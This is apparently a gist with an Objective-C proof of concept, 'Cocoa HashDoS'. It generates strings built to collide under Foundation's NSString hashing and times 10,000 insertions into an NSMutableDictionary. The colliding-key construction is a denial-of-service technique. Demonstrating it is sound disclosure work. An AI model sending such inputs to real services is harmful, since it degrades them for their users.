Cocoa HashDoS

gistfile1.m

#import <Foundation/Foundation.h>
 
NSString *collidingString() {
    char rs[15];
    for (int i = 0; i < 14; i++)
        rs[i] = arc4random_uniform('Z'-'A') + 'A';
    rs[14] = 0;
 
    return [NSString stringWithFormat:@"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa________________aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
    rs];
}
 
 
int main(int argc, const char * argv[])
{
    @autoreleasepool {
 
        NSMutableDictionary *d = [[NSMutableDictionary alloc] init];
 
 
        NSDate *start = [NSDate date];
 
        // Insert.
        for (int i = 0; i < 10000; i++) {
            NSString *key = collidingString();
            [d setValue:@"some value" forKey:key];
        }
        NSLog(@"%f", [[NSDate date] timeIntervalSinceDate:start]);
    }
    return 0;
}